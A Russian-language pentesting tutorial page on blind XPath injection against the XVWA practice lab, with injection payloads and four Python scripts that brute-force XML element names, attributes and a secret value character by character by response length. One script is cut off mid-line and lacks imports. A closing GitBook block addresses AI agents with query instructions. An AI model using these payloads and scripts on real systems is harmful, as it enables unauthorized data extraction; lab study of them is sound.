> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/xpath-injection-attack/xpath-injection-techniques-pentesting-web.md).

# Техники инъекции XPath

Это веб-страница, где вы вводите количество кофе и другие поля, такие как **идентификатор, заголовок, описание**, и т. д.

<figure><img src="/files/2e34596defd685b386133f13f03b74b059819b39" alt=""><figcaption></figcaption></figure>

Вот **XML-файл** для которых мы должны попытаться получить содержимое:

<figure><img src="/files/3352070cc4201ac1fbbfd3d200e2d0747d2facee" alt="" width="563"><figcaption></figcaption></figure>

### Шаги инъекции:

#### **Фильтровать XML основного элемента:**

Фильтровать с помощью **substring** если первая буква слова Coffees начинается с C:

```xml
1' and substring(name(/*[1]),1,1)='C

```

<figure><img src="/files/3e31a5a91e472e4b12bf69d11bac2258f41c8286" alt="" width="563"><figcaption></figcaption></figure>

Это **Python** скрипт автоматизирует весь процесс:

```python
#!/usr/bin/python3
from pwn import *
import requests
import time
import sys
import pdb
import string
import signal
def def_handler(sig, frame):
    print("/n/n[!] Выход.../n")
    sys.exit(1)
## Техники XPath-инъекции
signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.133/xvwa/vulnerabilities/xpath/"
characters = string.ascii_letters
def xPathInjection():
    data = ""
    p1 = log.progress("Атака грубой силы")
    p1.status("Начинаю атаку брутфорсом")
    time.sleep(2)
    p2 = log.progress("Данные")
    for position in range(1, 8):
        for character in characters:
            post_data = {
                'search': "1' and substring(name(/*[1]),%d,1)='%s" % (position, character),
                'submit': ''
            }
            r = requests.post(main_url, data=post_data)
            if len(r.text) != 8681:
                data += character
                p2.status(data)
                break
    p1.success("Атака грубой силы завершена")
    p2.success(data)
if __name__ == '__main__':
    xPathInjection()

```

<figure><img src="/files/2147c501f3ae579d41386721cdae7c17b634ef40" alt="" width="563"><figcaption></figcaption></figure>

#### Фильтровать XML подтега:

Фильтровать с помощью **substring** если первая буква слова Coffee начинается с C:

```xml
1' and substring(name(/*[1]/*[1]),1,1)='C

```

<figure><img src="/files/5a089ff22b2f6f6b7a66ffca492b62becfdbb48c" alt="" width="563"><figcaption></figcaption></figure>

Это **Python** скрипт автоматизирует весь процесс:

<pre class="language-python"><code class="lang-python">#!/usr/bin/python3
<strong>from pwn import *
</strong>import requests
import time
import sys
import pdb
import string
import signal
def def_handler(sig, frame):
    print("/n/n[!] Выход.../n")
    sys.exit(1)

## Техники XPath-инъекции

signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.133/xvwa/vulnerabilities/xpath/"
characters = string.ascii_letters
def xPathInjection():
    data = ""
    p1 = log.progress("Атака грубой силы")
    p1.status("Начинаю атаку брутфорсом")
    time.sleep(2)
    p2 = log.progress("Данные")
    for position in range(1, 7):
        for character in characters:
            post_data = {
                'search': "1' and substring(name(/*[1]/*[1]),%d,1)='%s" % (position, character),
                'submit': ''
            }
            r = requests.post(main_url, data=post_data)
            if len(r.text) != 8686:
                data += character
                p2.status(data)
                break
    p1.success("Атака грубой силы завершена")
    p2.success(data)
if __name__ == '__main__':
    xPathInjection()
</code></pre>

<figure><img src="/files/91e7b43c7b3719332f98736ad98fb324aadf19b2" alt="" width="563"><figcaption></figcaption></figure>

#### **Фильтровать XML атрибутов:**

Фильтровать с помощью **substring** если первая буква слова ID начинается с I:

```markdown
1' and substring(name(/*[1]/*[1]/*[1]),1,1)='I

```

<figure><img src="/files/1faaa33bebd12f34c2d71316cb6da6177d34c126" alt="" width="563"><figcaption></figcaption></figure>

Это **Python** скрипт автоматизирует весь процесс:

```python
#!/usr/bin/python3
 import time
 import sys
 import pdb
 import string
 import signal
 def def_handler(sig, frame):
     print("/n/n[!] Выход.../n")
     sys.exit(1)
 # Ctrl+C
 signal.signal(signal.SIGINT, def_handler)
 main_url = "http://192.168.71.133/xvwa/vulnerabilities/xpath/"
 characters = string.ascii_letters
 def xPathInjection():
     data = ""
     p1 = log.progress("Атака грубой силы")
     p1.status("Начинаю атаку брутфорсом")
     time.sleep(2)
     p2 = log.progress("Данные")
     for first_position in range(1, 6):
         for second_position in range(1,21):
             for character in characters:
                 post_data = {
                     'search': "1' and substring(name(/*[1]/*[1]/*[%d]),%d,1)='%s" % (first_positio
                     'submit': ''
                 }
                 r = requests.post(main_url, data=post_data)
                 if len(r.text) != 8691 and len(r.text) != 8692:
                     data += character
                     p2.status(data)
                     break
         if first_position != 5:
             data += ":"
     p1.success("Атака грубой силы завершена")
     p2.success(data)
 if __name__ == '__main__':
     xPathInjection()

```

<figure><img src="/files/cefc77133c2d9cbf3f970af942604177a8c8bfb0" alt="" width="563"><figcaption></figcaption></figure>

#### **Фильтровать XML атрибутов содержимого:**

Мы фильтруем с помощью **substring** если первая буква секретной фразы начинается с T:

```xml
1' and substring(Secret,1,1)='T

```

<figure><img src="/files/a7b7535f8fd041656e9e35c50ffaeae522da3b93" alt="" width="563"><figcaption></figcaption></figure>

Это **Python** скрипт автоматизирует весь процесс:

<pre class="language-python"><code class="lang-python">#!/usr/bin/python3
<strong>from pwn import *
</strong>import requests
import time
import sys
import pdb
import string
import signal
def def_handler(sig, frame):
    print("/n/n[!] Выход.../n")
    sys.exit(1)

## Техники XPath-инъекции

signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.133/xvwa/vulnerabilities/xpath/"
characters = string.ascii_letters + ' '
def xPathInjection():
    data = ""
    p1 = log.progress("Атака грубой силы")
    p1.status("Начинаю атаку брутфорсом")
    time.sleep(2)
    p2 = log.progress("Данные")
    for first_position in range(1, 100):
        for character in characters:
            post_data = {
                'search': "1' and substring(Secret,%d,1)='%s" % (first_position, character),
                'submit': ''
            }
            r = requests.post(main_url, data=post_data)
            if len(r.text) != 8676 and len(r.text) !=8677:
                data += character
                p2.status(data)
                break
    p1.success("Атака грубой силы завершена")
    p2.success(data)
if __name__ == '__main__':
    xPathInjection()
</code></pre>

<figure><img src="/files/cc6d70e522f851bafa93c30d1893ca1f0ae21758" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/xpath-injection-attack/xpath-injection-techniques-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
